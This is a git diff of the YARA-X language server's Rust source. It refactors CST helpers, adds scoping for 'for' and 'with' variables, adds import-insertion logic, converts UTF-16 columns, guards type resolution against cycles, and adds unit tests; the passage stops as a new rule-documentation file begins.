index 000000000..5675df880 --- /dev/null +++ b/ls/src/tests/testdata/workspace_symbols/workspace_symbols_resolve1.yar @@ -0,0 +1,9 @@ +private rule some_rule_for_resolve_1 { + condition: + true +} + +private rule some_rule_for_resolve_2 { + condition: + true +} \ No newline at end of file diff --git a/ls/src/utils/cst_traversal.rs b/ls/src/utils/cst_traversal.rs index aa90ecd10..4c80fd829 100644 --- a/ls/src/utils/cst_traversal.rs +++ b/ls/src/utils/cst_traversal.rs @@ -87,25 +87,40 @@ pub(crate) fn ident_at_position( None } -/// Returns the `RULE_DECL` node for the rule with the given `ident`. +/// Returns the `IDENT` token for the given `RULE_DECL` node. +pub(crate) fn rule_ident(rule: &Node) -> Option> { + assert_eq!(rule.kind(), SyntaxKind::RULE_DECL); + + rule.children_with_tokens() + .find(|n| n.kind() == SyntaxKind::IDENT) + .and_then(|n| n.into_token()) +} + +/// Returns the `RULE_DECL` node for the rule with the given `ident` token. pub(crate) fn rule_from_ident( source_file: &Node, ident: &Token, ) -> Option> { - assert_eq!(source_file.kind(), SyntaxKind::SOURCE_FILE); assert_eq!(ident.kind(), SyntaxKind::IDENT); + rule_from_ident_string(source_file, ident.text()) +} + +/// Returns the `RULE_DECL` node for the rule with the given `ident` string. +pub(crate) fn rule_from_ident_string( + source_file: &Node, + ident: &str, +) -> Option> { + assert_eq!(source_file.kind(), SyntaxKind::SOURCE_FILE); + // Iterator over all rule declarations in the CST let rules = source_file .children() .filter(|node| node.kind() == SyntaxKind::RULE_DECL); for rule in rules { - if let Some(rule_ident) = rule - .children_with_tokens() - .find(|n| n.kind() == SyntaxKind::IDENT) - .and_then(|node| node.into_token()) - && rule_ident.text() == ident.text() + if let Some(ident_token) = rule_ident(&rule) + && ident_token.text() == ident { return Some(rule); } @@ -123,12 +138,11 @@ pub(crate) fn rule_containing_token( } /// Returns the `PATTERN_DEF` node containing the declaration of the pattern -/// identified as `ident`, within the given `rule`. +/// identified as `ident` token, within the given `rule`. pub(crate) fn pattern_from_ident( rule: &Node, ident: &Token, ) -> Option> { - assert_eq!(rule.kind(), SyntaxKind::RULE_DECL); assert!(matches!( ident.kind(), SyntaxKind::PATTERN_IDENT @@ -136,6 +150,23 @@ pub(crate) fn pattern_from_ident( | SyntaxKind::PATTERN_OFFSET | SyntaxKind::PATTERN_LENGTH )); + pattern_from_string(rule, ident.text()) +} + +/// Returns the `PATTERN_DEF` node containing the declaration of the pattern +/// identified as `ident` string, within the given `rule`. +pub(crate) fn pattern_from_string( + rule: &Node, + ident: &str, +) -> Option> { + assert_eq!(rule.kind(), SyntaxKind::RULE_DECL); + + // Strip the leading sigil ($, @, # or !) to compare only the actual + // identifier. Anonymous patterns ("$") have an empty name after stripping + // the sigil and cannot match. + let ident_name = ident + .strip_prefix(['$', '@', '#', '!']) + .filter(|name| !name.is_empty())?; // Find "strings" block. let patterns_blk = rule @@ -152,12 +183,9 @@ pub(crate) fn pattern_from_ident( .children_with_tokens() .find(|n| n.kind() == SyntaxKind::PATTERN_IDENT) .and_then(|n| n.into_token()) + && pattern_ident.text().strip_prefix('$') == Some(ident_name) { - // Ignore first character ($, @, # or !) to compare only the actual - // identifier. - if pattern_ident.text()[1..] == ident.text()[1..] { - return Some(pattern); - } + return Some(pattern); } } @@ -258,18 +286,60 @@ pub fn find_declaration( for ancestor in ident.ancestors() { match ancestor.kind() { SyntaxKind::FOR_EXPR => { + // Loop variables declared by `for` are only in scope inside + // the loop body (after `:`), or at the declaration site itself. + let in_body = ancestor + .children_with_tokens() + .find(|child| child.kind() == SyntaxKind::COLON) + .is_some_and(|colon| { + ident.span().start() >= colon.span().end() + }); + for declared_ident in idents_declared_by_for(&ancestor) { - if ident.text() == declared_ident.text() { + if ident.text() == declared_ident.text() + && (ident.span() == declared_ident.span() || in_body) + { return Some((declared_ident, ancestor)); } } } SyntaxKind::WITH_EXPR => { - for declared_ident in idents_declared_by_with(&ancestor) { - if ident.text() == declared_ident.text() { - return Some((declared_ident, ancestor)); + // Each `with` variable is only in scope in subsequent + // `WITH_DECL` initializers and in the `with` body, or at its + // own declaration site. If the same name is redeclared in the + // same `with` block, the latest preceding declaration wins. + let Some(with_decls) = ancestor + .children() + .find(|node| node.kind() == SyntaxKind::WITH_DECLS) + else { + continue; + }; + + let mut matched = None; + for with_decl in with_decls + .children() + .filter(|node| node.kind() == SyntaxKind::WITH_DECL) + { + let Some(declared_ident) = with_decl + .first_token() + .filter(|token| token.kind() == SyntaxKind::IDENT) + else { + continue; + }; + + if ident.text() == declared_ident.text() + && (ident.span() == declared_ident.span() + || with_decl.last_token().is_some_and(|last| { + ident.span().start() >= last.span().end() + })) + { + matched = Some(declared_ident); } } + + if let Some(declared_ident) = matched { + return Some((declared_ident, ancestor)); + } } _ => {} } @@ -287,13 +357,38 @@ pub fn idents_declared_by_expr( for ancestor in child.ancestors() { match ancestor.kind() { SyntaxKind::FOR_EXPR => { - for ident in idents_declared_by_for(&ancestor) { - result_idents.push(ident); + let in_body = ancestor + .children_with_tokens() + .find(|n| n.kind() == SyntaxKind::COLON) + .is_some_and(|colon| { + child.span().start() >= colon.span().end() + }); + + if in_body { + for ident in idents_declared_by_for(&ancestor) { + result_idents.push(ident); + } } } SyntaxKind::WITH_EXPR => { - for ident in idents_declared_by_with(&ancestor) { - result_idents.push(ident); + if let Some(with_decls) = ancestor + .children() + .find(|node| node.kind() == SyntaxKind::WITH_DECLS) + { + for with_decl in with_decls + .children() + .filter(|node| node.kind() == SyntaxKind::WITH_DECL) + { + if let Some(declared_ident) = with_decl + .first_token() + .filter(|token| token.kind() == SyntaxKind::IDENT) + && with_decl.last_token().is_some_and(|last| { + child.span().start() >= last.span().end() + }) + { + result_idents.push(declared_ident); + } + } } } _ => {} @@ -498,6 +593,10 @@ mod tests { SyntaxKind::RULE_DECL ); + let rule_node_string = + rule_from_ident_string(&root, "r1").expect("rule node"); + assert_eq!(rule_node_string.kind(), SyntaxKind::RULE_DECL); + let hash_s1_token = find_tokens(&root, "#s1").pop().unwrap(); let pattern_def = pattern_from_ident(&rule_node, &hash_s1_token) @@ -567,4 +666,50 @@ mod tests { assert_eq!(incs[0].as_str(), "file:///project/common.yar"); assert_eq!(incs[1].as_str(), "file:///project/sub/rules.yar"); } + + #[test] + fn test_find_declaration_scoping() { + // Self-referential `with a = a` must not resolve the initializer `a` + // to the `a` being declared, nor resolve a forward reference `a = b`. + let text = "rule r { condition: with a = a, b = a : ( a == b ) }"; + let cst = CST::from(text); + let root = cst.root(); + + let mut a_tokens = find_tokens(&root, "a"); + a_tokens.sort_by_key(|t| t.span().start()); + assert_eq!(a_tokens.len(), 4); + + // `a` at LHS of `a = a` resolves to itself. + let (decl, _) = find_declaration(&a_tokens[0]).unwrap(); + assert_eq!(decl.span(), a_tokens[0].span()); + + // `a` in RHS of `a = a` is not yet in scope. + assert!(find_declaration(&a_tokens[1]).is_none()); + + // `a` in RHS of `b = a` and in body `( a == b )` resolves to `a_tokens[0]`. + let (decl, _) = find_declaration(&a_tokens[2]).unwrap(); + assert_eq!(decl.span(), a_tokens[0].span()); + let (decl, _) = find_declaration(&a_tokens[3]).unwrap(); + assert_eq!(decl.span(), a_tokens[0].span()); + + // In `with s = pe.sections : ( for any s in s : ( s.name == ".text" ) )`, + // the iterable `s` resolves to the outer `with`, while the body `s` + // resolves to the inner `for`. + let shadowed = "rule r { condition: with s = pe.sections : ( for any s in s : ( s.name == \".text\" ) ) }"; + let cst = CST::from(shadowed); + let root = cst.root(); + + let mut s_tokens = find_tokens(&root, "s"); + s_tokens.sort_by_key(|t| t.span().start()); + assert_eq!(s_tokens.len(), 4); + + let (iterable_decl, iterable_node) = + find_declaration(&s_tokens[2]).unwrap(); + assert_eq!(iterable_decl.span(), s_tokens[0].span()); + assert_eq!(iterable_node.kind(), SyntaxKind::WITH_EXPR); + + let (body_decl, body_node) = find_declaration(&s_tokens[3]).unwrap(); + assert_eq!(body_decl.span(), s_tokens[1].span()); + assert_eq!(body_node.kind(), SyntaxKind::FOR_EXPR); + } } diff --git a/ls/src/utils/imports.rs b/ls/src/utils/imports.rs new file mode 100644 index 000000000..920d7b9e5 --- /dev/null +++ b/ls/src/utils/imports.rs @@ -0,0 +1,274 @@ +/*! Helpers for inspecting and adding `import` statements in a source file. */ + +use std::cell::OnceCell; +use std::collections::HashSet; + +use async_lsp::lsp_types::{Position, Range, TextEdit}; +use yara_x_parser::cst::{Immutable, Node, SyntaxKind, Utf16}; + +/// Tracks the modules imported by a source file and builds the edits needed +/// for importing new ones. +pub struct ModuleImports { + root: Node, + imported: HashSet, + /// Position where new `import` statements are inserted. It is computed + /// the first time an import edit is requested. + insertion_point: OnceCell, +} + +impl ModuleImports { + /// Creates a [`ModuleImports`] for the source file whose CST root is + /// `root`. + pub fn new(root: &Node) -> Self { + Self { + root: root.clone(), + imported: imported_modules(root), + insertion_point: OnceCell::new(), + } + } + + /// Returns `true` if the source file imports `module`. + pub fn contains(&self, module: &str) -> bool { + self.imported.contains(module) + } + + /// Returns the edits that import `module`, or `None` if the module is + /// already imported. + /// + /// The result is intended to be used directly as the + /// `additional_text_edits` of a completion item. + pub fn edits_to_import(&self, module: &str) -> Option> { + if self.contains(module) { + return None; + } + let pos = *self + .insertion_point + .get_or_init(|| import_insertion_point(&self.root)); + Some(vec![TextEdit { + range: Range::new(pos, pos), + new_text: format!("import \"{module}\"\n"), + }]) + } +} + +/// Returns the names of the modules imported by the source file. +fn imported_modules(root: &Node) -> HashSet { + root.children() + .filter(|node| node.kind() == SyntaxKind::IMPORT_STMT) + // The last token in IMPORT_STMT is a STRING_LIT with the module + // name. Strip the quotes from it. + .filter_map(|node| node.last_token()) + .map(|module_name| module_name.text().trim_matches('"').to_string()) + .collect() +} + +/// Returns the position where a new `import` statement should be inserted. +/// +/// The rules, in order of priority, are: +/// +/// 1. Before the first existing `import` statement, if any. +/// 2. Before the first `include` statement, if it's preceded only by +/// comments. +/// 3. After the comments at the top of the file, if they are followed by an +/// empty line. Those comments are considered a file header. +/// 4. After the block comment (`/* ... */`) at the very top of the file, if +/// any. Block comments at the top of the file are usually file headers +/// (e.g. license or copyright notices) and imports should go below them. +/// 5. At the start of the file. This includes the case in which line +/// comments (`// ...`) at the top of the file are immediately followed by +/// a rule, as those comments most likely describe the rule and should +/// stay attached to it. +fn import_insertion_point(root: &Node) -> Position { + let line_start = + |line: usize| Position::new(line.try_into().unwrap_or(u32::MAX), 0); + + if let Some(import) = + root.children().find(|node| node.kind() == SyntaxKind::IMPORT_STMT) + { + return line_start(import.start_pos::().line); + } + + let mut seen_comment = false; + let mut newlines_in_a_row = 0; + // True right after a block comment that is the first thing in the file. + let mut after_block_header = false; + // Line that follows the block comment at the top of the file, if any. + let mut block_header_end = None; + + for child in root.children_with_tokens() { + match child.kind() { + SyntaxKind::COMMENT => { + if !seen_comment + && child + .clone() + .into_token() + .is_some_and(|t| t.text().starts_with("/*")) + { + after_block_header = true; + } + seen_comment = true; + newlines_in_a_row = 0; + } + SyntaxKind::WHITESPACE => {} + SyntaxKind::NEWLINE => { + let line = child.start_pos::().line; + if after_block_header { + block_header_end = Some(line + 1); + after_block_header = false; + } + newlines_in_a_row += 1; + // An empty line after the header comment, insert there. + if seen_comment && newlines_in_a_row > 1 { + return line_start(line); + } + } + SyntaxKind::INCLUDE_STMT => { + return line_start(child.start_pos::().line); + } + _ => break, + } + } + + block_header_end.map(line_start).unwrap_or_default() +} + +#[cfg(test)] +mod tests { + use yara_x_parser::cst::CST; + + use super::*; + + fn insertion_line(text: &str) -> u32 { + let pos = import_insertion_point(&CST::from(text).root()); + assert_eq!(pos.character, 0); + pos.line + } + + #[test] + fn imported_modules_are_collected() { + let cst = CST::from( + "import \"pe\"\nimport \"math\"\nrule foo { condition: true }", + ); + let imports = ModuleImports::new(&cst.root()); + assert!(imports.contains("pe")); + assert!(imports.contains("math")); + assert!(!imports.contains("elf")); + } + + #[test] + fn edits_to_import() { + let cst = CST::from( + "// header\n\nimport \"pe\"\nrule foo { condition: true }", + ); + let imports = ModuleImports::new(&cst.root()); + + assert!(imports.edits_to_import("pe").is_none()); + + let edits = imports.edits_to_import("elf").unwrap(); + assert_eq!(edits.len(), 1); + assert_eq!(edits[0].new_text, "import \"elf\"\n"); + assert_eq!(edits[0].range.start, Position::new(2, 0)); + assert_eq!(edits[0].range.end, Position::new(2, 0)); + } + + #[test] + fn insertion_point() { + // Empty file. + assert_eq!(insertion_line(""), 0); + + // No comments at the top of the file. + assert_eq!(insertion_line("rule foo { condition: true }"), 0); + + // Leading empty lines without comments. + assert_eq!(insertion_line("\n\nrule foo { condition: true }"), 0); + + // Existing imports: insert before the first one. + assert_eq!( + insertion_line("import \"pe\"\nrule foo { condition: true }"), + 0 + ); + + // Existing imports after a header: insert before the first import, + // not in the empty line that follows the header. + assert_eq!( + insertion_line( + "// header\n\nimport \"pe\"\nrule foo { condition: true }" + ), + 2 + ); + + // Header comment immediately followed by an import. + assert_eq!(insertion_line("// header\nimport \"pe\""), 1); + + // Include preceded only by comments: insert before it. + assert_eq!(insertion_line("// header\ninclude \"foo.yar\""), 1); + + // Line comment immediately followed by a rule: the comment most + // likely describes the rule, insert above the comment. + assert_eq!( + insertion_line("// comment\nrule foo { condition: true }"), + 0 + ); + + // Block comment at the top of the file immediately followed by a + // rule: the comment is a file header, insert below it. + assert_eq!( + insertion_line("/* license */\nrule foo { condition: true }"), + 1 + ); + assert_eq!( + insertion_line( + "/*\n * Copyright\n */\n// Rule comment\nrule foo { condition: true }" + ), + 3 + ); + + // A block comment that is not the first comment in the file is not + // a header. + assert_eq!( + insertion_line( + "// comment\n/* comment */\nrule foo { condition: true }" + ), + 0 + ); + + // A file consisting only of a block comment without trailing newline. + assert_eq!(insertion_line("/* comment */"), 0); + + // Several line comments followed by an empty line. + assert_eq!( + insertion_line( + "// First line\n// Second line\n\nrule foo { condition: true }" + ), + 2 + ); + + // Multiline block comment followed by an empty line. + assert_eq!( + insertion_line( + "/* comment\ncomment */\n\nrule foo { condition: true }" + ), + 2 + ); + + // Header, then a comment describing the rule. + assert_eq!( + insertion_line( + "/*\nComment\n*/\n\n// Rule comment\nrule name { condition: true }" + ), + 3 + ); + assert_eq!( + insertion_line( + "/* File header */\n\n// Note\n// Note\n\n// Rule comment\nrule name { condition: true }" + ), + 1 + ); + + // CRLF line endings. + assert_eq!( + insertion_line("// header\r\n\r\nrule foo { condition: true }"), + 1 + ); + } +} diff --git a/ls/src/utils/line_index.rs b/ls/src/utils/line_index.rs index d807ed04e..09533c031 100644 --- a/ls/src/utils/line_index.rs +++ b/ls/src/utils/line_index.rs @@ -1,12 +1,16 @@ +use std::collections::HashMap; + use async_lsp::lsp_types::Position; use yara_x_parser::Span; -/// A utility for converting between byte offsets and line/column numbers. -/// -/// This is particularly useful for Language Server Protocol (LSP) -/// implementations where positions are represented as line and column numbers. +/// A utility for converting between byte offsets and LSP line/UTF-16 column +/// positions. pub(crate) struct LineIndex { line_starts: Vec, + text_len: usize, + /// Maps line index -> sorted `(byte_col, utf16_col)` pairs (including end + /// of line before `\n`) for lines containing non-ASCII UTF-8 characters. + non_ascii: HashMap>, } impl LineIndex { @@ -18,16 +22,74 @@ impl LineIndex { pub(crate) fn new(text: &str) -> Self { let mut line_starts = vec![0]; line_starts.extend(text.match_indices('\n').map(|(i, _)| i + 1)); - Self { line_starts } + let text_len = text.len(); + let mut non_ascii = HashMap::new(); + + for (line_idx, &start) in line_starts.iter().enumerate() { + let end = line_starts + .get(line_idx + 1) + .map_or(text_len, |&next| next - 1); + let line_text = &text[start..end]; + if !line_text.is_ascii() { + let mut cols = Vec::new(); + let mut utf16_col = 0; + for (byte_col, ch) in line_text.char_indices() { + cols.push((byte_col, utf16_col)); + utf16_col += ch.len_utf16(); + } + cols.push((line_text.len(), utf16_col)); + non_ascii.insert(line_idx, cols); + } + } + + Self { line_starts, text_len, non_ascii } } /// Converts a byte `offset` in the text to an LSP `Position` (line and - /// character). + /// UTF-16 character offset). pub(crate) fn offset_to_position(&self, offset: usize) -> Position { + let offset = offset.min(self.text_len); let line = self.line_starts.partition_point(|&i| i <= offset) - 1; - let start_of_line = self.line_starts[line]; - let character = offset - start_of_line; - Position::new(line as u32, character as u32) + let byte_col = offset - self.line_starts[line]; + let utf16_col = if let Some(cols) = self.non_ascii.get(&line) { + let idx = cols.partition_point(|&(b, _)| b <= byte_col) - 1; + cols[idx].1 + } else { + byte_col + }; + Position::new( + u32::try_from(line).unwrap_or(u32::MAX), + u32::try_from(utf16_col).unwrap_or(u32::MAX), + ) + } + + /// Converts an LSP `Position` (line and UTF-16 character offset) to a + /// clamped UTF-8 byte offset in the text. + fn position_to_offset(&self, pos: Position) -> usize { + let line = pos.line as usize; + // Editors may send `{ line: N, character: 0 }` as the exclusive end of + // an N-line document that lacks a trailing `\n` (`line_starts.len() == N`). + let Some(&start_of_line) = self.line_starts.get(line) else { + return self.text_len; + }; + let end_of_line = self + .line_starts + .get(line + 1) + .map_or(self.text_len, |&next| next - 1); + let target_u16 = pos.character as usize; + + let byte_col = if let Some(cols) = self.non_ascii.get(&line) { + match cols.binary_search_by_key(&target_u16, |&(_, u16_c)| u16_c) { + Ok(idx) => cols[idx].0, + Err(idx) => cols + .get(idx) + .map_or(end_of_line - start_of_line, |&(b, _)| b), + } + } else { + target_u16.min(end_of_line - start_of_line) + }; + + start_of_line + byte_col } /// Converts a `Span` (byte range) in the text to an LSP `Range`. @@ -46,10 +108,11 @@ impl LineIndex { &self, range: async_lsp::lsp_types::Range, ) -> Span { - let start = self.line_starts[range.start.line as usize] as u32 - + range.start.character; - let end = self.line_starts[range.end.line as usize] as u32 - + range.end.character; + let start = u32::try_from(self.position_to_offset(range.start)) + .unwrap_or(u32::MAX); + let end = u32::try_from(self.position_to_offset(range.end)) + .unwrap_or(u32::MAX) + .max(start); Span(start..end) } } @@ -88,5 +151,40 @@ mod tests { let roundtrip_span = index.range_to_span(range); assert_eq!(roundtrip_span, span); + + // Exclusive EOF position `{ line: 3, character: 0 }` on a 3-line file + // without trailing `\n` must clamp to `text.len()` instead of panicking. + let full_span = index.range_to_span(async_lsp::lsp_types::Range { + start: Position::new(0, 0), + end: Position::new(3, 0), + }); + assert_eq!(full_span, Span(0..text.len() as u32)); + + // Extreme out-of-bounds positions and inverted ranges must not panic + // or overflow `u32`. + let extreme = index.range_to_span(async_lsp::lsp_types::Range { + start: Position::new(u32::MAX, u32::MAX), + end: Position::new(0, 0), + }); + assert_eq!(extreme, Span(text.len() as u32..text.len() as u32)); + } + + #[test] + fn test_line_index_utf16_columns() { + // "🚀" is 4 UTF-8 bytes and 2 UTF-16 code units; "é" is 2 UTF-8 bytes + // and 1 UTF-16 code unit. + let text = "// 🚀éx\nrule r { condition: true }"; + let index = LineIndex::new(text); + + // Byte offset of 'x': "// " (3) + "🚀" (4) + "é" (2) = 9. + // UTF-16 column of 'x': "// " (3) + "🚀" (2) + "é" (1) = 6. + let pos = index.offset_to_position(9); + assert_eq!(pos, Position::new(0, 6)); + + let span = index.range_to_span(async_lsp::lsp_types::Range { + start: Position::new(0, 3), + end: Position::new(0, 6), + }); + assert_eq!(span, Span(3..9)); } } diff --git a/ls/src/utils/mod.rs b/ls/src/utils/mod.rs index 6241430ef..9f601918a 100644 --- a/ls/src/utils/mod.rs +++ b/ls/src/utils/mod.rs @@ -1,4 +1,6 @@ pub mod cst_traversal; +pub mod imports; pub mod line_index; pub mod modules; pub mod position; +pub mod rule_documentation; diff --git a/ls/src/utils/modules.rs b/ls/src/utils/modules.rs index f69641f05..cab07f493 100644 --- a/ls/src/utils/modules.rs +++ b/ls/src/utils/modules.rs @@ -1,18 +1,35 @@ +use std::collections::HashSet; + use yara_x::mods::module_definition; use yara_x::mods::reflect::Type; use yara_x_parser::{ + Span, ast::{Expr, Lookup, NAryExpr}, cst::{Immutable, Node, SyntaxKind, Token}, }; use crate::utils::cst_traversal::{find_declaration, prev_non_trivia_token}; +/// Upper bound on nested `with`/`for` variable alias chains resolved by +/// [`get_type`] to prevent stack overflows on deeply chained declarations. +const MAX_TYPE_RESOLUTION_DEPTH: usize = 64; + #[derive(Debug)] pub enum Segment { Field(String), Index, } +/// The result of resolving the type of an expression that refers to a +/// module's field (e.g. `pe.sections[0].name`). +#[derive(Debug)] +pub struct ResolvedType { + /// The type of the field. + pub ty: Type, + /// The name of the module where the field comes from (e.g. `pe`). + pub module: String, +} + /// Given a token, returns the type of the structure that the token is part of. /// /// This function traverses the CST backwards from the given token to determine @@ -22,9 +39,18 @@ pub enum Segment { /// If the token is part of a `for` or `with` statement, it will try to resolve /// the type from the declared variables in those statements. /// -/// Returns an `Option` representing the type of the structure or field -/// identified by the token. Returns `None` if the type cannot be determined. -pub fn get_type(token: &Token) -> Option { +/// Returns a [`ResolvedType`] containing the type of the structure or field +/// identified by the token, together with the name of the module it belongs +/// to. Returns `None` if the type cannot be determined. +pub fn get_type(token: &Token) -> Option { + let mut visited = HashSet::new(); + get_type_inner(token, &mut visited) +} + +fn get_type_inner( + token: &Token, + visited: &mut HashSet, +) -> Option { let mut path = Vec::new(); let mut curr = Some(token.clone()); @@ -33,11 +59,19 @@ pub fn get_type(token: &Token) -> Option { SyntaxKind::IDENT => { // If the identifier is a variable declared in a `for` or `with` // statement, we need to find the type of that variable. - if let Some((_, declaration)) = find_declaration(&token) { + if let Some((declared_ident, declaration)) = + find_declaration(&token) + { + if visited.len() >= MAX_TYPE_RESOLUTION_DEPTH + || !visited.insert(declared_ident.span()) + { + return None; + } return get_type_from_declaration( &declaration, - &token, + &declared_ident, path.into_iter().rev(), + visited, ); } path.push(Segment::Field(token.text().to_string())); @@ -67,18 +101,20 @@ pub fn get_type(token: &Token) -> Option { } } - let module_name = match path.last()? { + // The path is stored in reverse order, so the module name is the last + // segment. Take ownership of it to avoid cloning it later. + let module_name = match path.pop()? { Segment::Field(s) => s, _ => return None, }; // Lookup module - let definition = module_definition(module_name)?; + let definition = module_definition(&module_name)?; // Traverse let mut current_kind = Type::Struct(definition); - for segment in path.iter().rev().skip(1) { + for segment in path.iter().rev() { match segment { Segment::Field(name) => { match current_kind { @@ -106,7 +142,7 @@ pub fn get_type(token: &Token) -> Option { } } - Some(current_kind) + Some(ResolvedType { ty: current_kind, module: module_name }) } /// Resolves the `Type` of an identifier declared within `for` or `with` statements. @@ -124,60 +160,102 @@ pub fn get_type(token: &Token) -> Option { /// /// # Returns /// -/// An `Option` representing the resolved type of the identifier. Returns `None` -/// if the type cannot be determined or if the access path is invalid for the type. -pub fn get_type_from_declaration( +/// A [`ResolvedType`] containing the resolved type of the identifier and the +/// module it comes from. Returns `None` if the type cannot be determined or if +/// the access path is invalid for the type. +fn get_type_from_declaration( declaration: &Node, ident: &Token, path: impl Iterator, -) -> Option { + visited: &mut HashSet, +) -> Option { match declaration.kind() { SyntaxKind::WITH_EXPR => { let with_decls = declaration .children() .find(|n| n.kind() == SyntaxKind::WITH_DECLS)?; - for with_decl in with_decls.children() { - let declared_ident = with_decl.first_token()?; - if declared_ident.text() != ident.text() { + let mut target_decl = None; + for with_decl in with_decls + .children() + .filter(|n| n.kind() == SyntaxKind::WITH_DECL) + { + let Some(declared_ident) = with_decl + .first_token() + .filter(|t| t.kind() == SyntaxKind::IDENT) + else { continue; + }; + if declared_ident.span() == ident.span() { + target_decl = Some(with_decl); + break; + } + if declared_ident.text() == ident.text() { + target_decl = Some(with_decl); } + } - let mut current_type = get_type(&with_decl.last_token()?)?; - - for segment in path { - match segment { - Segment::Field(name) => { - if let Type::Struct(struct_def) = current_type { - current_type = struct_def - .fields() - .find(|field| field.name() == name)? - .ty() - } else { - return None; - } - } - Segment::Index => { - if let Type::Array(inner) = current_type { - current_type = *inner - } else { - return None; - } + let with_decl = target_decl?; + let eq = with_decl + .children_with_tokens() + .find(|child| child.kind() == SyntaxKind::EQUAL)? + .into_token()?; + + let mut expr_last_token = with_decl.last_token()?; + if matches!( + expr_last_token.kind(), + SyntaxKind::NEWLINE + | SyntaxKind::WHITESPACE + | SyntaxKind::COMMENT + ) { + expr_last_token = prev_non_trivia_token(&expr_last_token)?; + } + if expr_last_token.span().start() < eq.span().end() { + return None; + } + + let ResolvedType { ty: mut current_type, module } = + get_type_inner(&expr_last_token, visited)?; + + for segment in path { + match segment { + Segment::Field(name) => { + if let Type::Struct(struct_def) = current_type { + current_type = struct_def + .fields() + .find(|field| field.name() == name)? + .ty() + } else { + return None; } } + Segment::Index => match current_type { + Type::Array(inner) => current_type = *inner, + Type::Map(_, value) => current_type = *value, + _ => return None, + }, } - return Some(current_type); } - return None; + return Some(ResolvedType { ty: current_type, module }); } SyntaxKind::FOR_EXPR => { + let in_kw = declaration + .children_with_tokens() + .find(|child| child.kind() == SyntaxKind::IN_KW)? + .into_token()?; + let colon = declaration .children_with_tokens() .find(|child| child.kind() == SyntaxKind::COLON)? .into_token()?; let iterable_last_token = prev_non_trivia_token(&colon)?; - let iterable_type = get_type(&iterable_last_token)?; + if iterable_last_token.span().start() < in_kw.span().end() { + return None; + } + + let ResolvedType { ty: iterable_type, module } = + get_type_inner(&iterable_last_token, visited)?; let mut current_type = match iterable_type { Type::Array(inner) => *inner, @@ -197,16 +275,14 @@ pub fn get_type_from_declaration( return None; } } - Segment::Index => { - if let Type::Array(inner) = current_type { - current_type = *inner - } else { - return None; - } - } + Segment::Index => match current_type { + Type::Array(inner) => current_type = *inner, + Type::Map(_, value) => current_type = *value, + _ => return None, + }, } } - return Some(current_type); + return Some(ResolvedType { ty: current_type, module }); } _ => {} } @@ -347,6 +423,7 @@ pub fn ty_to_string(ty: &Type) -> String { Type::Bool => "bool".to_string(), Type::String => "string".to_string(), Type::Regexp => "regexp".to_string(), + Type::Struct(s) if s.is_enum() => "enum".to_string(), Type::Struct(_) => "struct".to_string(), Type::Func(_) => "func()".to_string(), Type::Array(inner) => format!("array<{}>", ty_to_string(inner)), @@ -432,12 +509,14 @@ mod tests { let root = cst.root(); let char_token = find_tokens(&root, "characteristics").pop().unwrap(); - let ty = get_type(&char_token).expect("characteristics type"); - assert!(matches!(ty, Type::Integer)); + let resolved = get_type(&char_token).expect("characteristics type"); + assert!(matches!(resolved.ty, Type::Integer)); + assert_eq!(resolved.module, "pe"); let name_token = find_tokens(&root, "name").first().unwrap().clone(); - let name_ty = get_type(&name_token).expect("sections[0].name type"); - assert!(matches!(name_ty, Type::String)); + let resolved = get_type(&name_token).expect("sections[0].name type"); + assert!(matches!(resolved.ty, Type::String)); + assert_eq!(resolved.module, "pe"); } #[test] @@ -449,13 +528,85 @@ mod tests { let s_tokens = find_tokens(&root, "s"); let s_token = s_tokens.first().unwrap(); - let s_ty = get_type(s_token).expect("type of s in for loop"); - assert!(matches!(s_ty, Type::Struct(_))); + let resolved = get_type(s_token).expect("type of s in for loop"); + assert!(matches!(resolved.ty, Type::Struct(_))); + assert_eq!(resolved.module, "pe"); let name_tokens = find_tokens(&root, "name"); let name_token = name_tokens.first().unwrap(); - let name_ty = get_type(name_token).expect("type of s.name in loop"); - assert!(matches!(name_ty, Type::String)); + let resolved = get_type(name_token).expect("type of s.name in loop"); + assert!(matches!(resolved.ty, Type::String)); + assert_eq!(resolved.module, "pe"); + } + + #[test] + fn test_get_type_cyclic_and_incomplete_declarations() { + let cases = [ + // Self-referential `with` initializer. + "rule r { condition: with a = a : ( a.foo == 1 ) }", + // Mutually referencing `with` initializers. + "rule r { condition: with a = b, b = a : ( a.foo == b.foo ) }", + // Self-referential `for` iterable. + "rule r { condition: for any s in s : ( s.foo == 1 ) }", + // Incomplete `with` and `for` declarations while editing. + "rule r { condition: with a : ( a.foo == 1 ) }", + "rule r { condition: with a = : ( a.foo == 1 ) }", + "rule r { condition: for any s : ( s.foo == 1 ) }", + "rule r { condition: for any s in : ( s.foo == 1 ) }", + ]; + + for text in cases { + let cst = CST::from(text); + let root = cst.root(); + let mut stack = vec![NodeOrToken::Node(root)]; + while let Some(nt) = stack.pop() { + match nt { + NodeOrToken::Node(n) => { + stack.extend(n.children_with_tokens()) + } + NodeOrToken::Token(t) if t.kind() == SyntaxKind::IDENT => { + assert!(get_type(&t).is_none()); + } + _ => {} + } + } + } + } + + #[test] + fn test_get_type_shadowing_and_deep_chain() { + // `for` variable shadowing an outer `with` variable used as its iterable. + let text = "import \"pe\"\nrule r { condition: with s = pe.sections : ( for any s in s : ( s.name == \".text\" ) ) }"; + let cst = CST::from(text); + let root = cst.root(); + let name_token = find_tokens(&root, "name").pop().unwrap(); + let resolved = get_type(&name_token).expect("type of shadowed s.name"); + assert!(matches!(resolved.ty, Type::String)); + assert_eq!(resolved.module, "pe"); + + // Redeclared `with` variable in the same `with` block. + let text = "import \"pe\"\nrule r { condition: with s = pe.entry_point, s = pe.sections[0] : ( s.name == \".text\" ) }"; + let cst = CST::from(text); + let root = cst.root(); + let name_token = find_tokens(&root, "name").pop().unwrap(); + let resolved = + get_type(&name_token).expect("type of redeclared s.name"); + assert!(matches!(resolved.ty, Type::String)); + assert_eq!(resolved.module, "pe"); + + // Deep chain exceeding `MAX_TYPE_RESOLUTION_DEPTH` must return `None` + // cleanly without overflowing the stack. + let mut decls = String::from("a0 = pe.sections[0]"); + for i in 1..=200 { + decls.push_str(&format!(", a{i} = a{}", i - 1)); + } + let deep = format!( + "import \"pe\"\nrule r {{ condition: with {decls} : ( a200.name == \".text\" ) }}" + ); + let cst = CST::from(deep.as_str()); + let root = cst.root(); + let name_token = find_tokens(&root, "name").pop().unwrap(); + assert!(get_type(&name_token).is_none()); } } diff --git a/ls/src/utils/rule_documentation.rs b/ls/src/utils/rule_documentation.rs new file mode 100644 index 000000000..ef5c1bf7d --- /dev/null +++ 